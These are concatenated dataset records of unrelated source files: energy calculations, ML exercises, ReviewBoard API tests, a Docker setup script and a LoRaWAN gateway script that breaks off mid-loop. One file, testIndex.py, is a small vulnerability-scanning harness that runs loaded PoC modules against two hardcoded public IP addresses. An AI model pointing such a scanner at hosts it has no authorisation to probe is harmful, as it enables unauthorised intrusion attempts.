boiler_energy\n \n \n \n \n def calc_chp_energy(self):\n \n \n \n chp_energy = End_use_eff.end_use_efficiency(self.mfg_energy).chp_eu\n \n chp_eff = End_use_eff.end_use_efficiency(self.mfg_energy).chp_efficiency\n \n chp_cty_list, cty_list_st, cty_list_gas, cty_list_both, cty_dict_st, cty_dict_gas,chp_st_dict, chp_gas_dict = End_use_eff.end_use_efficiency.chp_pm_frac()\n \n chp_energy.loc[:,'res_MMBtu'] = chp_energy.apply(lambda x: x['MMBtu']*self.bchp_frac.get(x['naics'],0), axis=1)\n \n #counties with only steam turbine chp\n chp_energy.loc[chp_energy['COUNTY_FIPS'].isin(cty_list_st['FIPS County']),'proc_MMBtu'] = chp_energy.apply(\n lambda x: x['res_MMBtu'] * chp_eff['Boiler/Steam Turbine'], axis=1)\n\n #counties with only gas turbine chp\n chp_energy.loc[chp_energy['COUNTY_FIPS'].isin(cty_list_gas['FIPS County']),'proc_MMBtu'] = chp_energy.apply(\n lambda x: x['res_MMBtu'] * chp_eff['Gas Turbine'], axis=1)\n\n #counties with both\n chp_energy.loc[chp_energy['COUNTY_FIPS'].isin(cty_list_both['FIPS County']),'proc_MMBtu'] = chp_energy.apply(\n lambda x: x['res_MMBtu'] * (cty_dict_st.get(x['COUNTY_FIPS'],0) * chp_eff['Boiler/Steam Turbine'] + \\\n cty_dict_gas.get(x['COUNTY_FIPS'],0)*chp_eff['Gas Turbine']), axis=1) \n\n #counties with chp not mapped, so use naics subsector\n chp_energy.loc[~chp_energy['COUNTY_FIPS'].isin(chp_cty_list),'proc_MMBtu'] = chp_energy.apply(\n lambda x: x['res_MMBtu'] * (chp_st_dict.get(x['naics_sub'],0)*chp_eff['Boiler/Steam Turbine'] + \\\n chp_gas_dict.get(x['naics_sub'],0)*chp_eff['Gas Turbine']), axis=1)\n \n return chp_energy\n \n \n \n \n \n def combine_ph_boiler_chp(self, ph_energy, boiler_energy, chp_energy):\n \n res_process_energy = pd.concat([ph_energy, boiler_energy, chp_energy], ignore_index=False, sort=True).sort_index()\n \n #remove lines that have no proces heat demand\n res_process_energy = res_process_energy.loc[res_process_energy['proc_MMBtu']>0].copy()\n \n return res_process_energy\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"tech_opportunity_analysis/resistance_heating.py","file_name":"resistance_heating.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"454196639","text":"import json\n\n\ndef rename(file_path):\n print('running')\n old_data = open(file_path) \n old_json = json.load(old_data)\n\n new_json = []\n new_file = open('./new.json', 'w')\n \n for row in old_json:\n new_row = new_name(row)\n new_json.append(new_row)\n json.dump(new_json, new_file)\n new_file.close()\n return \n\n\ndef new_name(row):\n keys = row.keys()\n new_row = {}\n for key in keys:\n new_name = key.split('.')[-1]\n # print(new_name)\n new_row[new_name] = row[key]\n return new_row\n\n\nif __name__ == \"__main__\":\n a = './total_lvn_earned.json'\n b = './sample_looker.json'\n rename(a)\n ","sub_path":"user_attributes_service/rename_object/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"513631833","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport pydotplus\nfrom sklearn import tree\nfrom sklearn import metrics\nfrom sklearn.model_selection import cross_val_score, LeaveOneOut\nfrom scipy.stats import sem\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\ndf = pd.read_csv('Data/BDArreglada.csv')\ndf2 = pd.read_csv('Data/Titanic.csv')\nfeature_names = np.array(df.columns.values)\n\ng =pd.DataFrame( df2.groupby(['sex']).aggregate(np.sum)['survived'])\nprint(g)\n\nj = g.plot(kind='bar')\nplt.ylabel(\"Sobrevivientes\")\nplt.title(\"Sobrevivientes del Titanic\")\nplt.show()\n\n\n# print(x)\n# j = x.plot(kind='scatter', x='survived', y='sex')\n# plt.show()\n\ntitanic_X, titanic_y = [], []\ntitanic_X = np.array(df)\ntitanic_y = np.array(df[\"survived\"])\n\n# print(feature_names)\n# print(titanic_X[0], titanic_y[0])\n\ntitanic_X = titanic_X[:, [ 4, 10,11,12,13]]\n# los 2 puntos significa TODOS LOS REGISTROS Y SOLO OCUPARÁ las columnas 1 pClass, 4 age, 10 sex\nfeature_names = feature_names[[ 4, 10,11,12,13]]\n# solo elige solo dejar los encabezados de las mismas columnas escogidas\n# tanto en x como en y solo se quedan las columnas Clase, Edad y Sexo\n\n# print(feature_names)\n# print(titanic_X[12], titanic_y[12])\n\n# print(feature_names)\n# print(titanic_X[12], titanic_y[12])\n\n\nprint ('New feature names:',feature_names)\n# print ('Values:',titanic_X[0])\n\nX_train, X_test, y_train, y_test = train_test_split(titanic_X, titanic_y, test_size=0.25, random_state=33)\n\nclf = tree.DecisionTreeClassifier(criterion='entropy', max_depth=4,min_samples_leaf=5)\nclf = clf.fit(X_train,y_train)\n\ntree.export_graphviz(clf,out_file='titanic.dot', feature_names=feature_names)\ngraph = pydotplus.graph_from_dot_file('titanic.dot')\ngraph.write_png('titanic.png')\n\nimg1=Image.open('titanic.png')\nplt.imshow(img1)\nplt.show()\n\ndef measure_performance(X, y, clf ,show_accuracy=True, show_classification_report=True, show_confusion_matrix=True, label=\"\"):\n y_pred = clf.predict(X)\n if show_accuracy:\n print(\"Accuracy {0:s}: {1:.3f}\".format(label, metrics.accuracy_score(y, y_pred)), \"\\n\")\n if show_classification_report:\n print(\"Classification report\")\n print(metrics.classification_report(y, y_pred), \"\\n\")\n\n if show_confusion_matrix:\n print(\"Confusion matrix\")\n print(metrics.confusion_matrix(y, y_pred), \"\\n\")\n\n\nmeasure_performance(X_train, y_train, clf, show_classification_report=False, show_confusion_matrix=False,label=\"Train\")\nmeasure_performance(X_test, y_test, clf ,show_classification_report=False, show_confusion_matrix=False,label=\"Test\")\n\ndef loo_cv(X_train,y_train, clf ,label=\"\" ):\n # Perform Leave-One-Out cross validation\n # We are preforming 1313 classifications!\n loo = LeaveOneOut()\n scores = np.zeros(X_train[:].shape[0])\n for train_index, test_index in loo.split(X_train):\n X_train_cv, X_test_cv = X_train[train_index], X_train[test_index]\n y_train_cv, y_test_cv = y_train[train_index], y_train[test_index]\n clf = clf.fit(X_train_cv, y_train_cv)\n y_pred = clf.predict(X_test_cv)\n scores[test_index] = metrics.accuracy_score(y_test_cv.astype(int), y_pred.astype(int))\n print(\"Mean score {0:s}: {1:.3f} (+/-{2:.3f}) \\n\".format(label,np.mean(scores),sem(scores)))\n\nloo_cv(X_train, y_train, clf,label=\"Train\")\nloo_cv(X_test, y_test, clf,label=\"Test\")\n\n\"\"\" Ranadom Forest\"\"\"\nprint(\">>>>> Random Forest\")\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nclf = RandomForestClassifier(n_estimators=10,random_state=33)\nclf = clf.fit(X_train,y_train)\nloo_cv(X_train,y_train,clf,label=\"Train\")\nloo_cv(X_test,y_test,clf,label=\"Test\")\n\n\nclf_dt=tree.DecisionTreeClassifier(criterion='entropy', max_depth=3,min_samples_leaf=5)\nclf_dt.fit(X_train,y_train)\nmeasure_performance(X_test,y_test,clf_dt,label=\"Test\")\n\n\n\n\ndef Predice(X, clf):\n y_pred = clf.predict(X)\n print(\"Valores de Entrada:\\n\")\n print(X)\n for y in y_pred:\n if y == 1:\n print(\">>> Vivio\")\n else:\n print(\">>> Murio\")\n\n# Datos a ingregar para que los prediga el árbol de Decision\nvalores = pd.DataFrame(\n [(29,0,1,0,0),\n (35,1,1,0,0)\n ]\n ,columns=feature_names)\n\nPredice(valores,clf)\n\nprint(\"Fin el Pograma de Python, @Bento Sanchez\")\n","sub_path":"Machine_Learning/HrdzPython/ML_TreeDecision_Titanic/ML_TreeDecision_Titanic.py","file_name":"ML_TreeDecision_Titanic.py","file_ext":"py","file_size_in_byte":4348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"137916370","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.13-x86_64/egg/reviewboard/webapi/tests/test_validate_diff.py\n# Compiled at: 2020-02-11 04:03:57\nfrom __future__ import unicode_literals\nimport os\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.utils import six\nfrom djblets.testing.decorators import add_fixtures\nfrom djblets.webapi.errors import INVALID_FORM_DATA\nfrom djblets.webapi.testing.decorators import webapi_test_template\nfrom kgb import SpyAgency\nfrom reviewboard import scmtools\nfrom reviewboard.diffviewer.models import DiffSet\nfrom reviewboard.webapi.errors import DIFF_PARSE_ERROR, INVALID_REPOSITORY, REPO_FILE_NOT_FOUND\nfrom reviewboard.webapi.resources import resources\nfrom reviewboard.webapi.tests.base import BaseWebAPITestCase\nfrom reviewboard.webapi.tests.mimetypes import validate_diff_mimetype\nfrom reviewboard.webapi.tests.mixins import BasicTestsMetaclass\nfrom reviewboard.webapi.tests.urls import get_validate_diff_url\n\n@six.add_metaclass(BasicTestsMetaclass)\nclass ResourceTests(SpyAgency, BaseWebAPITestCase):\n \"\"\"Testing the ValidateDiffResource APIs.\"\"\"\n fixtures = [\n b'test_users', b'test_scmtools']\n sample_api_url = b'validation/diffs/'\n test_http_methods = ('DELETE', 'PUT')\n resource = resources.validate_diff\n VALID_GIT_DIFF = b'diff --git a/readme b/readmeindex d6613f5..5b50866 100644--- a/readme+++ b/readme@@ -1 +1,3 @@ Hello there++Oh hi!'\n\n def setup_http_not_allowed_item_test(self, user):\n return get_validate_diff_url()\n\n def test_get(self):\n \"\"\"Testing the GET validation/diffs/ API\"\"\"\n self.api_get(get_validate_diff_url(), expected_mimetype=validate_diff_mimetype)\n\n @add_fixtures([b'test_site'])\n def test_get_with_site(self):\n \"\"\"Testing the GET validation/diffs/ API with access to local site\"\"\"\n self._login_user(local_site=True)\n self.api_get(get_validate_diff_url(self.local_site_name), expected_mimetype=validate_diff_mimetype)\n\n @add_fixtures([b'test_site'])\n def test_get_with_site_no_access(self):\n \"\"\"Testing the GET validation/diffs/ API\n without access to local site\n \"\"\"\n self.api_get(get_validate_diff_url(self.local_site_name), expected_status=403)\n\n def test_post(self):\n \"\"\"Testing the POST validation/diffs/ API\"\"\"\n repository = self.create_repository(tool_name=b'Test')\n diff_filename = os.path.join(os.path.dirname(scmtools.__file__), b'testdata', b'git_readme.diff')\n f = open(diff_filename, b'r')\n self.api_post(get_validate_diff_url(), {b'repository': repository.pk, \n b'path': f, \n b'basedir': b'/trunk'}, expected_status=200, expected_mimetype=validate_diff_mimetype)\n f.close()\n\n @add_fixtures([b'test_site'])\n def test_post_with_site(self):\n \"\"\"Testing the POST validation/diffs/ API\n with access to a local site\n \"\"\"\n repository = self.create_repository(with_local_site=True, tool_name=b'Test')\n self._login_user(local_site=True)\n diff_filename = os.path.join(os.path.dirname(scmtools.__file__), b'testdata', b'git_readme.diff')\n with open(diff_filename, b'r') as (fp):\n self.api_post(get_validate_diff_url(self.local_site_name), {b'repository': repository.pk, \n b'path': fp, \n b'basedir': b'/trunk'}, expected_status=200, expected_mimetype=validate_diff_mimetype)\n\n @add_fixtures([b'test_site'])\n def test_post_with_site_no_access(self):\n \"\"\"Testing the POST validation/diffs/ API\n without access to a local site\n \"\"\"\n repository = self.create_repository(with_local_site=True, tool_name=b'Test')\n diff_filename = os.path.join(os.path.dirname(scmtools.__file__), b'testdata', b'git_readme.diff')\n with open(diff_filename, b'r') as (fp):\n self.api_post(get_validate_diff_url(self.local_site_name), {b'repository': repository.pk, \n b'path': fp, \n b'basedir': b'/trunk'}, expected_status=403)\n\n def test_post_with_base_commit_id(self):\n \"\"\"Testing the POST validation/diffs/ API with base_commit_id\"\"\"\n self.spy_on(DiffSet.objects.create_from_upload, call_original=True)\n repository = self.create_repository(tool_name=b'Test')\n diff_filename = os.path.join(os.path.dirname(scmtools.__file__), b'testdata', b'git_readme.diff')\n f = open(diff_filename, b'r')\n self.api_post(get_validate_diff_url(), {b'repository': repository.pk, \n b'path': f, \n b'basedir': b'/trunk', \n b'base_commit_id': b'1234'}, expected_status=200, expected_mimetype=validate_diff_mimetype)\n f.close()\n last_call = DiffSet.objects.create_from_upload.last_call\n self.assertEqual(last_call.kwargs.get(b'base_commit_id'), b'1234')\n\n def test_post_with_missing_basedir(self):\n \"\"\"Testing the POST validations/diffs/ API with a missing basedir\"\"\"\n repository = self.create_repository(tool_name=b'Test')\n diff_filename = os.path.join(os.path.dirname(scmtools.__file__), b'testdata', b'git_readme.diff')\n f = open(diff_filename, b'r')\n rsp = self.api_post(get_validate_diff_url(), {b'repository': repository.pk, \n b'path': f}, expected_status=400)\n f.close()\n self.assertEqual(rsp[b'stat'], b'fail')\n self.assertEqual(rsp[b'err'][b'code'], INVALID_FORM_DATA.code)\n self.assertIn(b'basedir', rsp[b'fields'])\n\n def test_post_with_files_not_found(self):\n \"\"\"Testing the POST validation/diffs/ API\n with source files not found\n \"\"\"\n repository = self.create_repository(tool_name=b'Test')\n diff_filename = os.path.join(os.path.dirname(scmtools.__file__), b'testdata', b'git_file_not_found.diff')\n f = open(diff_filename, b'r')\n rsp = self.api_post(get_validate_diff_url(), {b'repository': repository.pk, \n b'path': f, \n b'basedir': b''}, expected_status=400)\n f.close()\n self.assertEqual(rsp[b'stat'], b'fail')\n self.assertEqual(rsp[b'err'][b'code'], REPO_FILE_NOT_FOUND.code)\n self.assertEqual(rsp[b'file'], b'missing-file')\n self.assertEqual(rsp[b'revision'], b'd6613f0')\n\n def test_post_with_parse_error(self):\n \"\"\"Testing the POST validation/diffs/ API with a malformed diff file\"\"\"\n repository = self.create_repository(tool_name=b'Test')\n diff_filename = os.path.join(os.path.dirname(scmtools.__file__), b'testdata', b'stunnel.pem')\n with open(diff_filename, b'rb') as (f):\n rsp = self.api_post(get_validate_diff_url(), {b'repository': repository.pk, \n b'path': f, \n b'basedir': b'/trunk'}, expected_status=400)\n self.assertEqual(rsp[b'stat'], b'fail')\n self.assertEqual(rsp[b'err'][b'code'], DIFF_PARSE_ERROR.code)\n self.assertEqual(rsp[b'reason'], b'This does not appear to be a git diff')\n self.assertEqual(rsp[b'linenum'], 0)\n\n def test_post_with_conflicting_repos(self):\n \"\"\"Testing the POST validations/diffs/ API with conflicting\n repositories\n \"\"\"\n repository = self.create_repository(tool_name=b'Test')\n self.create_repository(tool_name=b'Test', name=b'Test 2', path=b'blah', mirror_path=repository.path)\n rsp = self.api_post(get_validate_diff_url(), {b'repository': repository.path, \n b'path': SimpleUploadedFile(b'readme.diff', self.VALID_GIT_DIFF, content_type=b'text/x-patch'), \n b'basedir': b'/trunk'}, expected_status=400)\n self.assertEqual(rsp[b'stat'], b'fail')\n self.assertEqual(rsp[b'err'][b'code'], INVALID_REPOSITORY.code)\n self.assertEqual(rsp[b'err'][b'msg'], b'Too many repositories matched \"%s\". Try specifying the repository by name instead.' % repository.path)\n self.assertEqual(rsp[b'repository'], repository.path)\n\n @webapi_test_template\n def test_post_repository_private(self):\n \"\"\"Testing the POST API without access to the requested\n repository\n \"\"\"\n repository = self.create_repository(tool_name=b'Test', public=False)\n rsp = self.api_post(get_validate_diff_url(), {b'repository': repository.path, \n b'path': SimpleUploadedFile(b'readme.diff', self.VALID_GIT_DIFF, content_type=b'text/x-patch'), \n b'basedir': b'/trunk'}, expected_status=400)\n self.assertEqual(rsp[b'stat'], b'fail')\n self.assertEqual(rsp[b'err'][b'code'], INVALID_REPOSITORY.code)","sub_path":"pycfiles/ReviewBoard-3.0.17-py2.7/test_validate_diff.py","file_name":"test_validate_diff.py","file_ext":"py","file_size_in_byte":8685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"280323821","text":"from base.models import BaseModel\n\n\nclass MemberGroup(BaseModel):\n\n def __init__(self):\n self.name = \"\"\n self.companyId = 0\n self.device_groups = []\n self.uuid = 0\n\n def create_member_group(self):\n self.name = \"member_group_\" + str(self.fake.random_int())\n self.uuid = self.fake.uuid4()\n\n def get_dict_for_save(self):\n return {\n \"name\": self.name,\n \"company\": self.companyId,\n \"device_groups\": self.device_groups\n }\n\n def get_dict_for_update(self):\n return {\n \"name\": self.name\n }\n\n\nclass Member(BaseModel):\n\n def __init__(self):\n self.companyId = 0\n self.name = \"\"\n self.member_id = 0\n self.photo = []\n self.groups = []\n self.email = \"\"\n self.is_active = True\n self.remote_id = 0\n\n def create_member(self):\n self.name = self.fake.user_name()\n self.member_id = self.fake.random_int()\n self.email = self.fake.email()\n self.remote_id = self.fake.random_int()\n\n def get_dict_for_save(self):\n return {\n \"company\": self.companyId,\n \"name\": self.name,\n \"member_id\": self.member_id,\n \"email\": self.email,\n \"is_active\": self.is_active,\n \"groups\": self.groups\n }\n\n def get_dict_for_update(self):\n return {\n \"name\": self.name,\n \"groups\": self.groups\n }\n","sub_path":"id_management/member/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"616642380","text":"\n'''\n 简易版漏洞检测框架\n'''\n\nimport os\nimport time\nimport importlib\n# m=importlib.import_module('m1.t')\n# m.test1()\n# m._test2()\n\ndef banner(config):\n msg = '''{}'''.format(config['VERSION'])\n print(msg)\n\n\n\ndef init(config: dict):\n print(\"[*] target:{}\".format(config[\"url\"]))\n pocList=[]\n # 加载poc,首先遍历出路径\n _pocs = []\n for root, dirs, files in os.walk(config['PATHS_POCS']):\n for x in files:\n modelName=x.split('.')[0]\n m = importlib.import_module(\"pocs.\"+modelName)\n pocList.append(m)\n return pocList\n\ndef end():\n print(\"[*] shutting down at {0}\".format(time.strftime(\"%X\")))\n\n\ndef start(config: dict,pocList):\n url_list = config.get(\"url\", [])\n # 循环url_list与pocs,逐一对应执行。\n for i in url_list:\n for poc in pocList:\n try:\n ret = poc._verify(i)\n except Exception as e:\n ret = None\n print(e)\n if ret:\n print(\"漏洞存在\")\n print(ret)\n\n\ndef main():\n PATHS_ROOT = os.path.join(os.path.dirname(os.path.realpath(__file__)))\n PATHS_POCS = os.path.join(PATHS_ROOT, \"pocs\")\n # print(PATHS_POCS)\n # print(PATHS_ROOT)\n config = {\n \"VERSION\":0.01,\n \"url\": [\"http://223.68.174.194:8888\", \"http://157.0.142.246:10000\"],\n \"poc\": [],\n 'PATHS_POCS':PATHS_POCS,\n 'PATHS_ROOT':PATHS_ROOT\n }\n banner(config)\n pocList=init(config)\n start(config,pocList)\n end()\n\n\nif __name__ == '__main__':\n main()","sub_path":"testIndex.py","file_name":"testIndex.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"397471228","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author : Mike\n# @Contact : 597290963@qq.com\n# @Time : 2021/2/27 16:43\n# @File : MaxScore.py\nfrom typing import List\n\n\"\"\"\n几张卡牌 排成一行,每张卡牌都有一个对应的点数。点数由整数数组 cardPoints 给出。\n\n每次行动,你可以从行的开头或者末尾拿一张卡牌,最终你必须正好拿 k 张卡牌。\n\n你的点数就是你拿到手中的所有卡牌的点数之和。\n\n给你一个整数数组 cardPoints 和整数 k,请你返回可以获得的最大点数。\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/maximum-points-you-can-obtain-from-cards\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\"\"\"\n\n\nclass Solution:\n\n def maxScore(self, cardPoints: List[int], k: int) -> int:\n \"\"\"\n 转换思路,计算连续子数组最小值,长度为 len(cardPoints) - K\n :param cardPoints:\n :param k:\n :return:\n \"\"\"\n n = len(cardPoints)\n window_size = n - k\n # 选择前n-k为初始化值\n s = sum(cardPoints[:window_size])\n min_sum = s\n for i in range(window_size, n):\n s += cardPoints[i] - cardPoints[i - window_size]\n min_sum = min(min_sum, s)\n\n return sum(cardPoints) - min_sum\n","sub_path":"datastructure/array/MaxScore.py","file_name":"MaxScore.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"181044873","text":"import gym\nimport matplotlib.pyplot as plt\n\nvideosDir = './RLvideos/'\nenv = gym.make('CartPole-v1')\nnum_episodes = 1000\nenv = gym.wrappers.Monitor(env, videosDir) #creates videos\n\nsteps_total = [] #to put step\n\nfor i_episodes in range(num_episodes):\n\tstate = env.reset() #reset before each environment\n\tstep = 0\n\t# for step in range(100): take 100 moves, never really reaches 100 moves\n\twhile True:\n\t\tstep +=1\n\t\taction = env.action_space.sample() #chooses random move of agent\n\t\tnew_state, reward, done, info = env.step(action) #exectuting action\n\t\t# print(new_state) #prints 4 different numbers, refer wiki\n\t\t# print(info) #it is empty\n\t\tenv.render()\n\n\n\t\tif done:\n\t\t\tsteps_total.append(step)\n\t\t\tprint(\"Episode finished after %s\"%step)\n\t\t\tbreak #until episode is finished, run episode\n\nprint(\"Average number of steps %.2f\"%((sum(steps_total))/num_episodes))\nplt.plot(steps_total)\nplt.show()","sub_path":"rl03-CartPoleVideos.py","file_name":"rl03-CartPoleVideos.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"246108506","text":"#!/usr/bin/env python3\n\nimport subprocess\nimport sys\nimport os\n\nbase_image = 'ubuntu-18.04-cuda-10.1-cmake-3.15'\nextra_packages = ['clang-9-bin', 'conan-1.19', 'misc', 'vscode-1.39']\n\nimages_block = \"\"\nimage = f\"'{base_image}'\"\nfor ep in extra_packages:\n image += f\", '{ep}'\"\n images_block += f\" - [{image}]\\n\"\n\nimages_yml = f\"\"\"\n---\nimages:\n{images_block}\n\"\"\"\n\nfull_image = '-'.join([f\"{i}\" for i in ([base_image] + extra_packages)])\n\ndocker_compose_yml = f\"\"\"\nversion: '3'\n \nservices:\n bash:\n image: eric3322/{full_image}\n volumes:\n - ~/projects:/opt/projects\n - home:/home/ubuntu\n - /tmp/.X11-unix:/tmp/.X11-unix:ro\n environment:\n - USER_ID=1000\n - GROUP_ID=1000\n - USER_NAME=ubuntu\n - GROUP_NAME=ubuntu\n - DISPLAY\n privileged: true\n stdin_open: true\n tty: true\n \nvolumes:\n home:\n\"\"\"\n\nwith open('docker-compose.yml', 'w') as f:\n f.write(docker_compose_yml)\n\nsubmodule_folder = 'docker-devel-env'\nfor i in [o for o in os.listdir(submodule_folder) if os.path.isdir(os.path.join(submodule_folder,o))]:\n \n p = subprocess.Popen(f'ln -s {submodule_folder}/{i} {i}', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n while p.poll() is None:\n line = p.stdout.readline().decode('ascii', 'backslashreplace')\n print(line, end='')\n\n p = subprocess.Popen(f'echo {i} >> .gitignore', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n while p.poll() is None:\n line = p.stdout.readline().decode('ascii', 'backslashreplace')\n print(line, end='')\n\nwith open('images.yml', 'w') as f:\n f.write(images_yml)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"465342893","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# Modbus LoRaWAN power meter gateway\n#\n# Notes:\n# - to send data back to our RN2483, external application ought to publish to\n# //command <-- {'data':''}\n# e.g TestTopic/lora//command <-- {'data':'F88F'}\n#\n# Required python packages\n# pip3 install hexdump\n# pip3 install --upgrade pyserial\n#\n# -----------------------------------------------------------------------------\n# Notes:\n# -----------------------------------------------------------------------------\n#\n# F.Thiebolt apr.19 heavily based on my RN2483_OTAA.py\n#\n\n\n\n# #############################################################################\n#\n# Import zone\n#\nimport os\nimport signal\nimport sys\nimport time\nfrom datetime import datetime\n\n# GPIO (for optional reset_pin)\nimport RPi.GPIO as GPIO\n\n# CLI options\nimport argparse\n\n# Multi-threaded tests\nimport threading\n\n# Serial comms\nimport serial\n\n# hex dump\nfrom hexdump import hexdump\n\n\n#\n# import settings\nfrom settings import settings\n\n#\n# import logging\nimport logging\nfrom settings.logger import log, init_remote_logger, setLogLevel, getLogLevel\n\n#\n# import radio module\nfrom radio.RN2483 import RN2483\n\n#\n# import ModbusBackend\n#from energy_meters.modbus import ModbusBackend\n\n\n\n# #############################################################################\n#\n# Global Variables\n#\n\n# modbus backend\n#_backend = None\n\n# Shutdown event for all threads, modules etc\n_shutdownEvent = None\n\n\n\n# #############################################################################\n#\n# Functions\n#\n\n\n#\n# Function ctrlc_handler\ndef ctrlc_handler(signum, frame):\n global _shutdownEvent\n print(\" action detected ...\");\n _shutdownEvent.set()\n\n\n#\n# Function about CLI parameters\ndef help():\n print(\"TO BE DEFINED :|\")\n sys.exit(1)\n\n\n\n# #############################################################################\n#\n# Class\n#\n\n\n\n# #############################################################################\n#\n# MAIN\n#\n\ndef main():\n\n # Global variables\n global _shutdownEvent\n\n #\n print(\"\\n###\\nLoRaWAN powermeter demo based on RN2483\")\n print(\"###\")\n\n # create threading.event\n _shutdownEvent = threading.Event()\n\n # Trap CTRL+C (kill -2)\n signal.signal(signal.SIGINT, ctrlc_handler)\n\n # Parse arguments\n parser = argparse.ArgumentParser(\n description=\"LoRaWAN powermeter based on RN2483 \\\n \\n Hit to terminate program.\" )\n\n parser.add_argument( '-p', '--port', type=str,\n dest=\"serial_link\",nargs='?',\n help=\"Serial port to use, eg. /dev/ttyAMA0.\" )\n\n parser.add_argument( '-s', '--speed', type=int,\n dest=\"serial_link_speed\",nargs='?',\n help=\"Absolute path to labels file.\" )\n\n parser.add_argument( '--reset-pin', type=int,\n dest=\"reset_pin\",nargs='?',\n help=\"RPi's GPIO connected to RST pin of RN2483.\" )\n\n parser.add_argument( '--set-dcycle', type=int,\n dest=\"duty_cycle\",nargs='?',\n help=\"Set duty cycle percent from 0 to 100 on all channels.\" )\n\n # debug mode\n parser.add_argument( '-d', '--debug', action=\"store_true\",\n help=\"Toggle debug mode (True as default).\" )\n\n ARGS = parser.parse_args()\n #print(ARGS)\n\n # logging\n if( ARGS.debug is True ):\n print(\"\\n[DBG] DEBUG mode activated ... \") \n setLogLevel(logging.DEBUG)\n else:\n print(\"\\n[LOG] level set to %d\" % int(settings.log_level) )\n setLogLevel(settings.log_level)\n\n # Setup GPIOs\n GPIO.setmode(GPIO.BCM)\n\n\n '''\n #\n # Modbus initialisation\n log.info(\"Instantiate and enable modbus backend ...\")\n try:\n kwargs = dict()\n kwargs['shutdown_event'] = _shutdownEvent\n if( hasattr(settings, 'modbus_debug') is True ):\n kwargs['modbus_debug'] = settings.modbus_debug\n _backend = ModbusBackend(settings.modbus_link, settings.modbus_link_speed, **kwargs)\n _backend.enable()\n except Exception as ex:\n log.error(\"unable to initialise Modbus backend: \" + str(ex) )\n raise ex\n time.sleep(1)\n '''\n\n\n #\n # LoRaWAN\n #\n # RN2483 serial initialisation\n log.info(\"Starting RN2483 initialisation ...\");\n try:\n # instantiate device with optional specific configuration\n _deviceConfig = dict()\n # register shurdownEvent\n _deviceConfig['shutdown_event'] = _shutdownEvent\n # enable/disable ADR mode\n _deviceConfig['adr'] = True\n if( hasattr(settings, 'disable_adr') is True ):\n if settings.disable_adr is True:\n _deviceConfig['adr'] = False\n # set data exchange DataRate mode 0:SF12/125kHz to 5:SF7/125kHz\n _deviceConfig['dr'] = 0 # SF12/125kHz\n if( hasattr(settings, 'data_rate') is True ):\n _deviceConfig['dr'] = settings.data_rate\n # set data exchange DataRate spreading factor (default is SF12)\n if( hasattr(settings, 'data_sf') is True ):\n _deviceConfig['sf'] = settings.data_sf\n # optional reset pin\n if( ARGS.reset_pin is not None ):\n _deviceConfig['reset_pin'] = ARGS.reset_pin\n elif( hasattr(settings, 'reset_pin') is True ):\n _deviceConfig['reset_pin'] = settings.reset_pin\n # optional duty cycle\n if( ARGS.duty_cycle is not None ):\n _deviceConfig['duty_cycle'] = ARGS.duty_cycle\n elif( hasattr(settings, 'duty_cycle') is True ):\n _deviceConfig['duty_cycle'] = settings.duty_cycle\n\n #\n # instantiate LoRaWAN device\n device = RN2483( ARGS.serial_link if ARGS.serial_link is not None else settings.serial_link,\n ARGS.serial_link_speed if ARGS.serial_link_speed is not None else settings.serial_link_speed,\n **_deviceConfig );\n\n # tell we're on external power supply\n device.batlvl = 0\n\n except Exception as ex:\n log.error(\"### ERROR on RN2483 instantiation: \" + str(ex))\n raise ex\n log.info(\"RN2483 successfully instantiated :)\")\n \n # RN2483 LoRaWAN initialisation\n log.info(\"Starting LoRaWAN initialisation ...\");\n try:\n # [RADIO] LoRa parameters\n #device.mod = 'lora' # default modulation: LoRa\n #device.freq = int(868.1*1000000) # default to 868.1MHz\n device.pwr = 14\n #device.sf = 'sf7' # default sf12\n #device.cr = '4/8' # default 4/5\n #device.bw = 250 # default 125kHz\n #device.crc = 'off' # default on\n\n # [MAC] LoRaWAN parameters\n device.devEUI = settings.deveui\n device.appEUI = settings.appeui\n device.appKEY = settings.appkey\n\n # save parameters\n #device.loraMacSave()\n\n except Exception as ex:\n log.error(\"### LoRaWAN initialization error: \" + str(ex))\n raise ex\n log.info(\"LoRaWAN setup successful :)\")\n print(device)\n time.sleep(2)\n\n\n #\n # main loop\n txData = None\n\n while( not _shutdownEvent.is_set() ):\n try: \n # need to join ?\n if( device.isConnected() is not True ):\n # activate OTAA join\n device.connect(mode='otaa')\n # are we connected ?\n if( device.isConnected() is not True ):\n 